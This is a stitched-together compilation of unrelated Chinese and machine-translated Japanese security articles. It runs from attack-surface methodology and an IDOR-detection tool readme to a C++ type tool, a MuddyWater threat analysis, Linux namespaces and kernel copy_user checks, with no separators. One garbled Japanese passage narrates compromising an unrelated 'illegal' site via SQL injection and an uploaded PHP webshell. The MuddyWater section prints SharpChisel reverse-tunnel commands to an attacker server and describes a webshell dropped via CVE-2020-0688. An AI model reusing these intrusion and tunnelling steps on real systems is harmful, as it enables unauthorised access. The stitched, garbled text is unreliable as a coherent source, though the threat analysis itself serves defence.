攻擊面覆蓋:關鍵視角關鍵視角分析了迄今為止一個組織最少的攻擊面。它與外部視角截然相反,外部視角在開始的時候就聚焦於一個非常大的面;關鍵視角關注的是優先部分。從這一點來看,假設從這個視角開始的評估能夠在任何合理的時間範圍內評估面向互聯網的服務是不現實的。該視角旨在提供與影響較大的對象相關的最危險攻擊面的最有效分析(見下圖)

15.png

關鍵視角攻擊面評估

關鍵視角評估接近組織攻擊面的不同部分的方式也與其他三個視角不同。例如,當IT部門在一個組織面向互聯網的周邊發現盡可能多的漏洞時,可以通過外部演練視角獲得最大的價值。這可能意味著評估人員不會利用已識別的漏洞深入組織,直到他們認為已對整個外部網絡進行了評估。這種嘗試的完整攻擊面覆蓋是其他評估視角的必要組成部分。關鍵資產視角不需要完全評估下一層。相反,關鍵視角將重點放在攻擊者如何將數據或機器轉移到無法接受的損失上。它不是尋找攻擊面上的所有漏洞,而是將重點放在那些使訪問能夠轉向致命和關鍵的風險項的點上。

全系列文章請查看:https://www.4hou.com/member/dwVJ

0x01はじめに

違反と防衛の訓練の情報収集中、与えられたウェブサイトと資産のウェブサイトは同じIPセグメントであることがわかったため、違法サイトの浸透がありました。

辞書およびその他のリソースファイルは、最後に取得できます

0x02 SQL脆弱性発見

サイトにアクセスしてください

gjo2rp4dizd1223.png

プラグインを使用して、サイトをPHPとして表示します

b3he4si4qms1224.png

通常のディレクトリスキャン

yc1xep4loac1225.png

フロントデスク

1jzzphwkcw41226.png

ワンクリックでログインした後、新しい住所に注入があったことがわかりました

ri23g0jf3fj1227.png

qbafse5le1w1228.png

0x03さらなる搾取

ここでは、パラメーターを取得する必要があると促されます。 address.phpリクエストで乱数リクエストを記入した後、情報を入力してパケットをつかんでSQLMAPを実行し続けます

guepccgff2k1229.png

長い間待った後、ブールブラインドとエラー注入があることがわかりました。

ndrtlp3mwln1230.png

次に、サイトバックエンド管理アドレスを見つけます

ujlupdyvjht1231.png

注入されたアカウントパスワードを使用して背景にログインします

f5sqdjysine1232.png

0x04ファイルをアップロード

アップロードポイントを探しています

ij3djwnm2mq1233.png

アップロード

tp00gq34sar1234.png

アクセスパス

gdfmxcr4ui11235.png

PHPを直接アップロードして持ち上げます

i5l4eiwbwrt1236.png

これまでのところ、私はこのサイトを取り、シンプルで効率的な方法でそれを取り上げました!

概述

通过替换认证信息后重放请求,并对比数据包结果,判断接口是否存在越权漏洞

特点

  1. 支持HTTPS
  2. 自动过滤图片/js/css/html页面等静态内容
  3. 多线程检测,避免阻塞
  4. 支持输出报表与完整的URL、请求、响应

安装和使用


安装依赖

git clone  https://github.com/y1nglamore/IDOR_detect_tool.git

启动

即可监听socks5://127.0.0.1:8889。

安装证书

使用SwitchOmega等插件连接该代理,并访问mitm.it即可进入证书安装页面,根据操作系统进行证书安装。

以MacOS为例:

175143_y7wfgR

下载安装后,打开钥匙串访问,找到mitmproxy证书,修改为alwaystrust

175302_B8WD5s

检测漏洞

首先准备好目标系统的A、B两账号,根据系统的鉴权逻辑(Cookie、header、参数等)将A账号信息配置config/config.yml,之后登录B账号

175522_XdPt84

使用B账号访问,脚本会自动替换鉴权信息并重放,根据响应结果判断是否存在越权漏洞

175435_PFm3WY

生成报表

每次有新漏洞都会自动添加到report/result.html中,通过浏览器打开:

181645_PaztjA

点击具体条目可以展开/折叠对应的请求和响应:

181811_HJMDoo

检测逻辑

230504_ECb2mP




原文连接:https://github.com/y1nglamore/IDOR_detect_tool


你有沒有想過編譯器如何查看你的數據結構? Compiler Explorer 可以幫助你了解源代碼和設備代碼之間的關係,但它在數據佈局方面提供的支持不多。你可能聽說過填充、對齊和“普通舊數據類型”,甚至通過將一種結構嵌入到另一種結構中來模擬C 中的繼承。但是,你能猜出所有這些類型的確切內存佈局,而無需查看你平台的ABI 引用或標準庫的源代碼嗎?

1.png

有了必要的ABI 知識,關於C 結構的推理就相對簡單了。然而,更複雜的c++類型則是完全不同的情況,特別是當使用模板和繼承時。理想情況下,我們能夠將所有這些複雜的類型轉換成簡單的C結構,這樣我們就可以更容易地推斷它們在內存中的佈局。這正是relic -headergen的目的,這是我在Trail of Bits實習期間開發的一個工具。在這篇文章中,我將解釋它的工作原理。

rellic-headergenrellic-headergen的目的是生成C類型定義,這些定義等價於包含在LLVM位碼文件中的那些定義,這些定義不一定是從C源代碼生成的。這有助於分析包含複雜數據佈局的程序的過程。下圖提供了rellic-headergen 功能的示例。

2.png

左側窗口顯示我們的源代碼,我們在底部窗口中執行第一個命令將代碼編譯為LLVM位碼,然後使用第二個命令通過rellich headergen運行它。右邊的窗口顯示rellic-headergen的輸出,它是與輸入c++代碼的佈局匹配的有效C代碼。

該工具的工作原理是假設被分析的程序可以被編譯成具有完整調試信息的LLVM位碼。該實用程序開始構建一個包含調試信息可用的所有類型的列表,從函數(“subprogram”)定義開始。

現在,該實用程序需要決定定義類型的順序,但考慮到C 語言的要求,這不是一項簡單的任務:當引用尚未定義的類型時,該語言需要明確前置聲明,例如,結構不能包含其類型僅被前向聲明的字段。

解決這個問題的一種方法是預防性地前置前聲明所有當前的類型。然而,這是不夠的。例如,結構不能包含類型尚未完全定義的字段,儘管它可以包含類型是指向正向聲明類型的指針的字段。

因此,該實用程序根據類型定義形成一個有向無環圖(DAG),它可以在其上找到拓撲排序。

3.png

一旦該實用程序找到了一個拓撲排序,它就可以按照這個順序檢查類型,並且確信任何字段的類型都已完全被定義。

關於結構的惡作劇DWARF 元數據提供了一些信息,我們可以使用它來恢復它描述的類型的C 結構定義:

類型的大小;

每個字段的類型;

每個字段的偏移量;

類型最初是結構體還是聯合體;

rellic-headergen 的重建算法首先按照偏移量遞增的順序對字段進行排序,然後定義一個新的結構來添加每個字段。元數據沒有提供關於原始定義是否被聲明為打包的信息,因此rellic-headergen 首先嘗試直接生成佈局,如元數據指定的那樣。如果生成的佈局與作為輸入的佈局不匹配,該實用程序將從頭開始並生成一個打包佈局,並根據需要手動插入填充。

現在,我們可以使用任意數量的複雜啟發式方法來確定每個字段從結構開始的偏移量,但事情可能會變得非常棘手,尤其是在位字段的情況下。更好的方法是從已經制定出邏輯的東西中獲取這些信息:編譯器。

幸運的是,rellic-headergen已經使用Clang來生成定義。不幸的是,查詢Clang本身關於字段的偏移量並不是那麼簡單,因為Clang只允許檢索完整定義的佈局信息。為了解決API的這個特殊問題,實用程序生成臨時結構定義,其中包含當前正在處理的字段之前的所有字段。

結構和繼承當我在處理更多涉及的用例時,我偶然發現了一些ABI 以不立即顯而易見的方式工作的實例。例如,處理C++ 繼承需要小心,因為簡單的方法並不總是正確的。

4.png

轉換成

5.png

這似乎是個好主意,在實踐中也很有效,但這種方法的可擴展性不太好。例如,以下代碼段不能以這種方式轉換:

6.png

原因是在int 為4 個字符寬的設備上,結構A 通常在y 之後包含3 個額外的填充字符。因此,將結構A 直接嵌入B 將使z 位於偏移量8 處。為了最大限度地減少結構中的填充量,編譯器選擇將派生類型的字段直接放置在基本結構中。

此外,從技術上講,空結構在C 中無效。它們可以通過GCC 和Clang 擴展使用,並且在C++ 中有效,但它們存在一個問題:空結構的sizeof 永遠不會為0。相反,它通常為1。除了其他原因,這是為了在像下面這樣的代碼片段中,每個字段都保證有單獨的地址:

7.png

上面的例子工作得很好,但是在有些地方,用簡單的方法處理空結構是行不通的。考慮如下:

8.png

此示例生成以下DWARF 元數據:

9.png

如果我們遵循dw_tag_繼承和DW_TAG_member相同的邏輯,就會得到這樣的轉換:

10.png

這和原來的定義不一樣!字段b最終的偏移量與0不同,因為字段的大小不能為0。讓所有這些c++細節工作是有挑戰性的,但非常值得。現在我們可以使用rellic-headergen將任意c++類型轉換為普通的C類型。許多逆向工程工具嵌入了某種形式的基本C解析支持,以便用戶提供“類型庫”,描述設備代碼使用的類型。這些基本的解析器通常不支持任何c++,所以rellic-headergen彌補了這一缺陷。

relic -headergen的改進空間?rellic-headergen還有進一步改進的機會,該實用程序的目標之一是能夠從已優化的代碼中恢復字段訪問模式。考慮以下程序:

11.png

該程序產生以下位碼:

112.png

在這個位碼中,關於x結構的原始信息已經丟失了。本質上,如果Clang/LLVM在發出位碼或從已編譯的設備碼中提升位碼之前執行優化,這可能會導致生成的位碼級別過低,從而在調試元數據中找到的類型信息與位碼本身中的信息不匹配。在這種情況下,relic -headergen無法自行解決這種不匹配。改進實用程序以便能夠在未來解決這些問題將是有益的,當嘗試將位移位和掩碼與字段訪問匹配以生成盡可能接近原始代碼的反編譯代碼時,了解結構的確切佈局可能很有用。

此外,rellic-headergen 也無法處理使用不同DWARF 功能的語言。例如,Rust 對有區別的聯合使用了一種特別的表示,這對於實用程序來說很難處理。有朝一日可以向該實用程序添加功能來處理這些DWARF 功能。

總結儘管rellic-headergen 目前的範圍非常狹窄,但在使用C 和C++ 代碼庫時它已經非常強大,因為它能夠提取rellic 本身的類型信息,包括LLVM 和Clang。在導航使用調試信息構建的二進製文件時,它已經提供了有用的見解,但是擴展其功能集以能夠從更多不同的代碼庫中提取信息將使其在處理更大的項目時更加有用。

微信截图_20220115160037.png

MuddyWater 通常被認為是由伊朗政府支持的攻擊者,根據目前最新的分析,美國網絡司令部已將此活動歸咎於伊朗情報部(MOIS)。最近,美國網絡司令部指出MuddyWater 使用了多個惡意軟件集。其中,PowGoop 與我們在最近事件中分類的活動相關。

分析新PowGoop 變種PowGoop 是Palo Alto 首次發現的惡意軟件家族,它利用DLL 搜索命令劫持(T1574.001)。該名稱源自使用“GoogleUpdate.exe”來加載“goopdate.dll”的惡意修改版本,該版本用於從外部文件加載惡意PowerShell 腳本。

我們發現了涉及重大變化的更新版本的PowGoop加載器,這表明即使在最近的曝光後,該組織仍在繼續使用和維護它。這些新變種顯示,該攻擊組織已經擴大了其用於裝載惡意dll的合法軟件的武器庫。除了“GoogleUpdate.exe”之外,還有三個良性軟件被濫用,以輔助加載惡意dll:“Git.exe”、“FileSyncConfig.exe”和“inno_update .exe”。

每個DLL包含一個修改後的DLL和一個重命名的真實DLL。被劫持的DLL包含源自重命名後的對應DLL的導入,以及攻擊者編寫的兩個附加函數。被劫持的dll列表如下:

1.png

與以前的版本不同,被劫持的DLL 嘗試反射式加載兩個附加文件,一個名為“Core.dat”,它是從導出“DllReg”調用的shellcode,另一個名為“Dore.dat”,它是一個PE 文件,帶有一個“MZRE”標頭,允許它作為shellcode 執行,類似於從導出“DllRege”調用的公開報告的技術。

這兩個' .dat '文件對於每個被劫持的dll都是相同的,並且都是在各自的導出上使用rundll32執行的,這會將文件從磁盤讀取到虛擬分配的緩衝區,然後調用讀取數據中的偏移量0。

“Dore.dat”和“Core.dat”搜索名為“config.txt”的文件,並使用PowerShell以類似於舊版本(T1059.001)的方式運行它。這兩個組件在功能上的重疊並不清楚;然而,很明顯,“Core.dat”代表了PowGoop 更成熟和進化的版本,因為它作為shellcode 加載,使其不太可能被靜態檢測到。

還值得注意的是,兩個組件都沒有必要駐留在受感染的系統上,因為惡意軟件可以通過其中任何一個成功執行。鑑於此,有可能將其中一個或另一個用作備份組件。在撰寫本文時,無法檢索到“config.txt”中的PowerShell 有效負載。

2.png

新的PowGoop變體的執行流程

MuddyWater隧道活動MuddyWater活動背後的操作人員非常喜歡隧道工具,該組織使用的自定義工具通常功能有限,用於放棄隧道工具,使操作者能夠進行更廣泛的活動。 MuddyWater的攻擊者使用的隧道工具有Chisel、SSF和Ligolo。

隧道活動的性質常常令人困惑,下面是攻擊者對一些受害者執行的命令,有助於澄清他們對此類工具的使用情況:

SharpChisel.execlientxx.xx.xx.xx:8080r:8888:127.0.0.1:9999在客戶端執行中使用的“r”標誌意味著服務器在“反向”模式下運行。根據Chisel的文檔,

設置--reverse 標誌,“允許客戶端在正常遠程之外指定反向端口轉發遠程”。

在這種情況下,“SharpChisel.exe”客戶端在受害者設備上運行,通過端口8080 連接回Chisel 服務器,並指定將來自服務器端口8888 的任何內容轉發到客戶端的端口9999。

這乍一看可能有點奇怪,因為在Windows設備上通常不使用端口9999,而且沒有綁定到任何特定的服務。這是在隨後的反向隧道設置一個Chisel SOCKS5服務器受害者,等待傳入連接端口9999:

SharpChisel.exeserver-p9999--socks5通過在設備上設置Chisel的服務器和客戶端實例,操作人員使自己能夠通過SOCKS5支持的各種協議。這實際上在隧道內創建了一個隧道。鑑於此,運營商很可能會通過端口8888 向服務器發起SOCKS 流量,從而將流量從感興趣的應用程序傳輸到網絡內部。

Chisel和其他隧道工具的使用有效地使攻擊行動者能夠連接到目標環境中的設備,就好像它們在運營商LAN 中一樣。

5.png

使用Chisel 進行MuddyWater 隧道挖掘

攻擊利用在跟踪MuddyWater的活動時,我們發現了一個針對知名組織Exchange服務器的有趣的活動子集。 Exchange漏洞利用活動的這個子集相當有趣,因為如果沒有上下文,很難將其歸因於MuddyWater,因為該活動幾乎完全依賴於公開可用的攻擊性安全工具。

攻擊者試圖使用兩種不同的工具來利用Exchange服務器:

用於利用CVE-2020-0688 (T1190)的公開腳本;

一個開源的Exchange開發框架;

CVE-2020-0688 漏洞利用對所觀察到的活動的分析表明,MuddyWater攻擊組織試圖利用CVE-2020-0688攻擊中東的政府組織。該漏洞允許通過身份驗證的用戶執行遠程代碼。 MuddyWater 操作員試圖運行的特定漏洞被用來刪除webshell。

使用PowerShell命令將webshell內容寫入到特定的路徑“/ecp/HybridLogout.aspx”。 webshell等待參數“cmd”,並使用XSL腳本處理(T1220)在其中運行命令。

6.png

webshell MuddyWater的一個片段試圖上傳到Exchange服務器

此活動與來自名為fuckchina_v2.py 的Github 存儲庫中的CVE-2020-0688 漏洞利用腳本高度相關。該腳本利用CVE-2020-0688 將ASPX webshell 上傳到路徑:“/ecp/HybridLogout.aspx” (T1505.003)。它也是唯一可公開獲得的CVE-2020-0688 實現之一,它會刪除Web shell。

7.png

CVE-2020-0688 漏洞利用腳本片段

總結對MuddyWater活動的分析表明,該組織在繼續發展和調整他們的技術。儘管該組織仍然依賴於公開可用的攻擊性安全工具,但它已經改進了自定義工具集,並利用新技術來避免被發現。這可以通過本報告中觀察和分析的三個不同的活動來觀察到:PowGoop惡意軟件家族的演變、隧道工具的使用以及針對Exchange服務器的攻擊。

進程隔離是容器的關鍵組件,容器的關鍵底層機制之一是命名空間(namespaces),下面將分析命名空間(namespaces)是什麼以及命名空間(namespaces)是如何工作的,通過構建自己的隔離容器能夠更好地理解每一部分。

0x01 命名空間(namespaces)是什麼命名空間(namespaces)是2008 年內核版本2.6.24 中發布的Linux 內核特性。它們為進程提供了自己的系統視圖,從而將獨立的進程相互隔離。換句話說, 命名空間(namespaces)定義了一個進程可以使用的資源集,你不能與你看不到的東西交互。在高層次上,它們允許對全局操作系統資源進行細粒度分區,例如安裝點、網絡堆棧和進程間通信實用程序。命名空間(namespaces)的一個強大方面是它們限制了對系統資源的訪問,而正在運行的進程不知道這些限制。在典型的Linux 方式中,它們表示為/proc/

cryptonite@cryptonite:~$echo$$

4622

cryptonite@cryptonite:~$ls/proc/$$/ns-al

total0

dr-x--x--x2cryptonitecryptonite0Jun2915:00.

dr-xr-xr-x9cryptonitecryptonite0Jun2913:13.

lrwxrwxrwx1cryptonitecryptonite0Jun2915:00cgroup-'cgroup:[4026531835]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:00ipc-'ipc:[4026531839]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:00mnt-'mnt:[4026531840]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:00net-'net:[4026532008]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:00pid-'pid:[4026531836]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:00pid_for_children-'pid:[4026531836]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:00time-'time:[4026531834]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:00time_for_children-'time:[4026531834]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:00user-'user:[4026531837]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:00uts-'uts:[4026531838]'當生成一個新進程時,所有的命名空間(namespaces)都繼承自它的父進程。

#inception

cryptonite@cryptonite:~$/bin/zsh

#fatherPIDverification

╭─cryptonite@cryptonite~

╰─$ps-efj|grep$$

crypton+135604622135604622115:07pts/100:00:02/bin/zsh

╭─cryptonite@cryptonite~

╰─$ls/proc/$$/ns-al

total0

dr-x--x--x2cryptonitecryptonite0Jun2915:10.

dr-xr-xr-x9cryptonitecryptonite0Jun2915:07.

lrwxrwxrwx1cryptonitecryptonite0Jun2915:10cgroup-'cgroup:[4026531835]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:10ipc-'ipc:[4026531839]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:10mnt-'mnt:[4026531840]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:10net-'net:[4026532008]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:10pid-'pid:[4026531836]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:10pid_for_children-'pid:[4026531836]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:10time-'time:[4026531834]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:10time_for_children-'time:[4026531834]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:10user-'user:[4026531837]'

lrwxrwxrwx1cryptonitecryptonite0Jun2915:10uts-'uts:[4026531838]'命名空間(namespaces)是使用帶有以下參數之一的clone系統調用創建的:

CLONE_NEWNS - 創建新的掛載命名空間(namespaces);

CLONE_NEWUTS - 創建新的UTS 命名空間(namespaces);

CLONE_NEWIPC - 創建新的IPC 命名空間(namespaces);

CLONE_NEWPID - 創建新的PID 命名空間(namespaces);

CLONE_NEWNET - 創建新的NET 命名空間(namespaces);

CLONE_NEWUSER - 創建新的USR 命名空間(namespaces);

CLONE_NEWCGROUP - 創建一個新的cgroup 命名空間(namespaces)。

命名空間(namespaces)也可以使用unshare系統調用來創建。 clone和unshare的區別在於,clone會在一組新的名稱空間中生成一個新進程,而unshare會在一組新的namespaces中移動當前進程。

0x02 為什麼要使用命名空間(namespaces)如果我們將命名空間(namespaces)想像為包含一些抽象全局系統資源的進程的盒子,這些盒子的一個好處是你可以從一個盒子中添加和刪除內容,並且不會影響其他盒子的內容。或者,如果一個盒子(一組命名空間namespaces)中的進程A 發瘋並決定刪除該盒子中的整個文件系統或網絡堆棧,它不會影響為放置在不同盒子中的另一個進程B 提供的這些資源的抽象。此外,命名空間(namespaces)甚至可以提供細粒度的隔離,允許進程A 和B 共享一些系統資源(例如共享掛載點或網絡堆棧)。當必須在給定機器上執行不受信任的代碼而不影響主機操作系統時,通常會使用命名空間(namespaces)。 Hackerrank、Codeforces、 Rootme等編程競賽平台使用命名空間(namespaces)環境,以便安全地執行和驗證參賽者的代碼,而不會使他們的服務器面臨風險。 PaaS(平台即服務)提供商,例如穀歌云引擎使用命名空間(namespaces)環境在同一硬件上運行多個用戶服務(例如網絡服務器、數據庫),而不會干擾這些服務。因此,命名空間(namespaces)也可以被視為對有效的資源共享很有用。 Docker 或LXC 等其他雲技術也使用命名空間(namespaces)作為進程隔離的手段。這些技術將操作系統進程置於容器隔離環境中。例如,在Docker 容器中運行進程就像在虛擬機中運行一樣。容器和虛擬機之間的區別在於容器直接共享和使用主機操作系統內核,因此由於沒有硬件仿真,它們比虛擬機輕量得多。整體性能的提高主要是由於使用了直接集成在Linux 內核中的命名空間(namespaces)。

0x03 命名空間(namespaces)的類型在當前穩定的Linux Kernel 5.7 版中,有七種不同的命名空間(namespaces):

PID命名空間(namespaces):系統進程樹的隔離;

NET 命名空間(namespaces):主機網絡堆棧的隔離;

MNT 命名空間(namespaces):主機文件系統掛載點的隔離;

UTS 命名空間(namespaces):主機名的隔離;

IPC 命名空間(namespaces):進程間通信實用程序(共享段、信號量)的隔離;

USER 命名空間(namespaces):系統用戶ID 的隔離;

CGROUP 命名空間(namespaces):隔離主機的虛擬cgroup 文件系統。

命名空間(namespaces)是每個進程的屬性。每個進程最多可以感知一個命名空間(namespaces)。換句話說,在任何給定時刻,任何進程P 都恰好屬於每個命名空間(namespaces)的一個實例。例如,當一個給定的進程想要更新系統上的路由表時,內核會向它顯示它當時所屬命名空間(namespaces)的路由表副本。如果進程在系統中詢問其ID,內核將以其當前命名空間(namespaces)中的進程ID 響應(在嵌套命名空間(namespaces)的情況下)。我們將詳細查看每個命名空間(namespaces),以了解它們背後的操作系統機制。了解這一點將幫助我們找到當今容器化技術的本質。

1.PID命名空間(namespaces)歷史上,Linux 內核一直維護著一個單一的進程樹。樹數據結構包含對當前在父子層次結構中運行的每個進程的引用。它還枚舉操作系統中所有正在運行的進程。這個結構在procfs文件系統中維護, 它是實時系統的一個屬性,即它僅在操作系統運行時存在。這種結構允許具有足夠特權的進程附加到其他進程、檢查、通信和kill它們。它還包含有關進程的根目錄、當前工作目錄、打開的文件描述符、虛擬內存地址、可用安裝點等的信息。

#anexampleoftheprocfsstructure

cryptonite@cryptonite:~$ls/proc/1/

arch_statuscoredump_filtergid_mapmountspagemapsetgroupstask

attrcpu_resctrl_groupsiomountstatspatch_statesmapstimens_offsets

cgroupenvironmap_filesnuma_mapsrootstatuid_map

clear_refsexemapsoom_adjschedstatm

.

#anexampleoftheprocesstreestructure

cryptonite@cryptonite:~$pstree|head-n20

systemd-+-ModemManager---2*[{ModemManager}]

|-NetworkManager---2*[{NetworkManager}]

|-accounts-daemon---2*[{accounts-daemon}]

|-acpid

|-avahi-daemon---avahi-daemon

|-bluetoothd

|-boltd---2*[{boltd}]

|-colord---2*[{colord}]

|-containerd---17*[{containerd}]在系統啟動時,大多數現代Linux 操作系統上啟動的第一個進程是systemd(系統守護進程),它位於樹的根節點上。它的父進程是PID=0,它是OS 中不存在的進程。此進程之後負責啟動其他服務/守護進程,這些服務/守護進程表示為其子進程,並且是操作系統正常運行所必需的。這些進程的PID 1,樹結構中的PID 是唯一的。

隨著Process 命名空間(namespaces)(或PID 命名空間(namespaces))的引入可以製作嵌套的流程樹。它允許除systemd (PID=1) 以外的進程通過在子樹的頂部移動來將自己視為根進程,從而在該子樹中獲得PID=1。同一子樹中的所有進程也將獲得與進程命名空間(namespaces)相關的ID。這也意味著某些進程可能最終擁有多個ID,具體取決於它們所在進程命名空間(namespaces)的數量。然而,在每個命名空間(namespaces)中,至多一個進程可以擁有一個給定的PID(進程樹中節點的唯一值)成為每個命名空間(namespaces)的屬性)。這是因為根進程命名空間(namespaces)中的進程之間的關係保持不變。或者換句話說,新PID 命名空間(namespaces)中的進程仍然附加到其父級,因此是其父級PID 命名空間(namespaces)的一部分。所有進程之間的這些關係可以在根進程命名空間(namespaces)中看到,但在嵌套進程命名空間(namespaces)中它們是不可見的。這意味著嵌套進程命名空間(namespaces)中的進程不能與其父進程或上層進程命名空間(namespaces)中的任何其他進程交互。這是因為,在新的PID 命名空間(namespaces)的頂部,進程將其PID 視為1,並且在PID=1 的進程之前沒有其他進程。

img

在Linux 內核中,PID 表示為一個結構。在內部,我們還可以找到進程所屬的命名空間(namespaces)作為upid struct數組的一部分。

structupid{

intnr;/*thepidvalue*/

structpid_namespace*ns;/*thenamespacethisvalue

*isvisiblein*/

structhlist_nodepid_chain;/*hashchainforfastersearchofPIDSinthegivennamespace*/

};

structpid{

atomic_tcount;/*referencecounter*/

structhlist_headtasks[PIDTYPE_MAX];/*listsoftasks*/

structrcu_headrcu;

intlevel;//numberofupids

structupidnumbers[0];//arrayofpidnamespaces

};要在新的PID 命名空間(namespaces)內創建新進程,必須使用特殊標誌CLONE_NEWPID調用clone()系統調用。而下面討論的其他命名空間(namespaces)也可以使用unshare()系統調用創建,PID 命名空間(namespaces)只能在使用clone()或fork()系統調用產生新進程時創建。

#Let'sstartaprocessinanewpidnamespace;

cryptonite@cryptonite:~$sudounshare--pid/bin/bash

bash:fork:Cannotallocatememory[1]

root@cryptonite:/home/cryptonite#ls

bash:fork:Cannotallocatememory[1]shell卡在兩個命名空間(namespaces)之間。這是因為unshare在執行後沒有進入新的命名空間(namespaces)(execve()調用)。當前的“unshare”進程調用了unshare系統調用,創建了一個新的pid命名空間(namespaces),但是當前的“unshare”進程不在新的pid命名空間(namespaces)中。進程B創建了一個新的命名空間(namespaces),但進程B本身不會被放入新的命名空間(namespaces),只有進程B的子進程才會被放入新的命名空間(namespaces)。創建命名空間(namespaces)後,`unshare程序將執行/bin/bash。然後/bin/bash將分叉幾個新的子進程來做一些工作。這些子進程將有一個相對於新命名空間(namespaces)的PID,當這些進程完成時,它們將退出,退出命名空間(namespaces)但是PID沒有置1。 Linux 內核不喜歡沒有PID=1 進程的PID 命名空間(namespaces)。因此,當命名空間(namespaces)為空時,內核將禁用與該命名空間(namespaces)內的PID 分配相關的一些機制,從而導致此錯誤。

我們必須指示unshare程序在創建命名空間(namespaces)後派生一個新進程。然後這個新進程將設置PID=1 並將執行我們的shell 程序。這樣當/bin/bash的子進程退出時,命名空間(namespaces)仍然會有一個PID=1 的進程。

cryptonite@cryptonite:~$sudounshare--pid--fork/bin/bash

root@cryptonite:/home/cryptonite#echo$$

1

root@cryptonite:/home/cryptonite#ps

PIDTTYTIMECMD

7239pts/000:00:00sudo

7240pts/000:00:00unshare

7241pts/000:00:00bash

7250pts/000:00:00ps但是當我們使用ps時,為什麼我們的shell 沒有PID 1呢?為什麼我們仍然可以從根命名空間(namespaces)看到進程?該PS程序使用的procfs虛擬文件系統,以獲取有關係統中的電流進程的信息。該文件系統安裝在/proc 目錄中。但是,在新命名空間(namespaces)中,該掛載點描述了root PID 命名空間(namespaces)中的進程。有兩種方法可以避免這種情況:

#creatinganewmountnamespaceandmountinganewprocfsinside

cryptonite@cryptonite:~$sudounshare--pid--fork--mount/bin/bash

root@cryptonite:/home/cryptonite#mount-tprocproc/proc

root@cryptonite:/home/cryptonite#ps

PIDTTYTIMECMD

1pts/200:00:00bash

9pts/200:00:00ps

#Orusetheunsharewrapperwiththe--mount-procflag

#whichdoesthesame

cryptonite@cryptonite:~$sudounshare--fork--pid--mount-proc/bin/bash

root@cryptonite:/home/cryptonite#ps

PIDTTYTIMECMD

1pts/100:00:00bash

8pts/100:00:00ps正如我們之前提到的,一個進程可以有多個ID,這取決於該進程所在的命名空間(namespaces)的數量。現在檢查嵌套在兩個命名空間(namespaces)中的shell 的不同PID。

╭cryptonite@cryptonite:~$sudounshare--fork--pid--mount-proc/bin/bash

#thisprocesshasPID4700intherootPIDnamespace

root@cryptonite:/home/cryptonite#unshare--fork--pid--mount-proc/bin/bash

root@cryptonite:/home/cryptonite#ps

PIDTTYTIMECMD

1pts/100:00:00bash

8pts/100:00:00ps

#Let'sinspectthedifferentPIDs

cryptonite@cryptonite:~$sudonsenter--target4700--pid--mount

cryptonite#ps-aux

USERPID%CPU%MEMVSZRSSTTYSTATSTARTTIMECOMMAND

root10.00.0184764000pts/0S

Linux 內核是一個不斷迭代的代碼庫,截至2021 年,其代碼行數已超過3000 萬行。然而,由於用戶通常不會運行最新的頂層Linux 內核,因此從用戶的角度來看,它也是一個非常分散的代碼庫,這對安全性有重要影響。一致的安全屬性(跨內核版本、處理器架構、編譯器版本)是grsecurity一個重要目標,但頂層通常不會將添加的預防性安全檢查或功能向後移植到舊支持的內核,並且這些措施的狀態沒有很快被最終用戶採用,實際上,必須是有經驗的專注於安全的內核開發人員才能確定他們自己系統的狀態。

作為系統管理員,我們首先要擔心的問題是一個系統的安全性和穩定性,其次才是它的效能和效率。一個系統是否安全,一般來說與系統的複雜性有直接關係。對於必須開放訪問的系統來說,成熟而可靠的系統保護措施是十分重要的。而對作為各種程序運行平台的操作系統而言,系統越複雜可能隱藏的攻擊面也就越多。

受copy_*_user 中的檢查影響的漏洞類型在過去已經出現過幾次,例如, Mathias Krause 在2013 年的修復報告。在討論這些檢查時,最有意義的是談論當前的頂層狀態,之後我們可以討論代碼的歷史以及它是如何隨著時間的推移而演變的。

當前頂層copy_*_user() 檢查在當前的頂層內核中,copy_from_user(用於將數據從用戶級複製到內核)和copy_to_user(用於將數據從內核複製到用戶級)實現如下:

1.png

因此,如果check_copy_size() 通過,則將調用較低級別的copy_*_user 例程。這些較低級別的例程可以內聯或不內聯,具體取決於處理器架構,但它們的實現方式保持不變:

2.png

access_ok() 是一個古老的例程,其目的是驗證用戶空間中提供的範圍(作為copy_from_user 的源,copy_to_user 的目標)是否實際駐留在用戶空間中。這個API 最近發生了變化,從thread_info 結構中刪除了addr_limit 並將內核拆分為內核副本到它自己的API。以前,在addr_limit 恢復之前的set_fs(KERNEL_DS) 或惡意修改的addr_limit(過去幾年的常見漏洞利用技術)之後運行的代碼可以(ab)使用copy*user 進行任意內核讀/寫。

should_fail_usercopy() 與錯誤注入(模糊增強)有關,可以忽略。 instrument_* 同樣可以忽略,因為它與KASAN(調試/模糊測試增強)有關。出於生產安全目的,我們感興趣的唯一代碼是access_ok() 和check_copy_size()。

3.png

讓我們稍微解釋一下這裡顯示的內容:__compiletime_object_size()是一個宏,它利用了編譯器的__builtin_object_size()。如果內核中用於復制的源或目標(適當)的對象的大小能夠在編譯時確定,這將返回該對象的大小。否則,編譯器版本不支持__builtin_object_size(),它返回-1。

當內核對象的大小是靜態已知的並且要復制的長度也是恆定的時,__bad_copy_from() 和__bad_copy_to() 都是編譯時出現的錯誤,這種情況在實踐中不太可能會變成安全問題,除非代碼從未測試/使用過。當對像大小靜態已知但複製長度不是編譯時常量時,Copy_overflow()是一個運行時警告。

如果復制長度大於INT_MAX,“WARN_ON_ONCE(bytes INT_MAX)”檢查將產生運行時警告。由於這是在無符號size_t 類型上計算的,因此當在有符號int 或long 類型上解釋時(即oss-sec 上報告的錯誤的情況),這具有拒絕負長度的附加效果。稍後會詳細介紹此檢查。

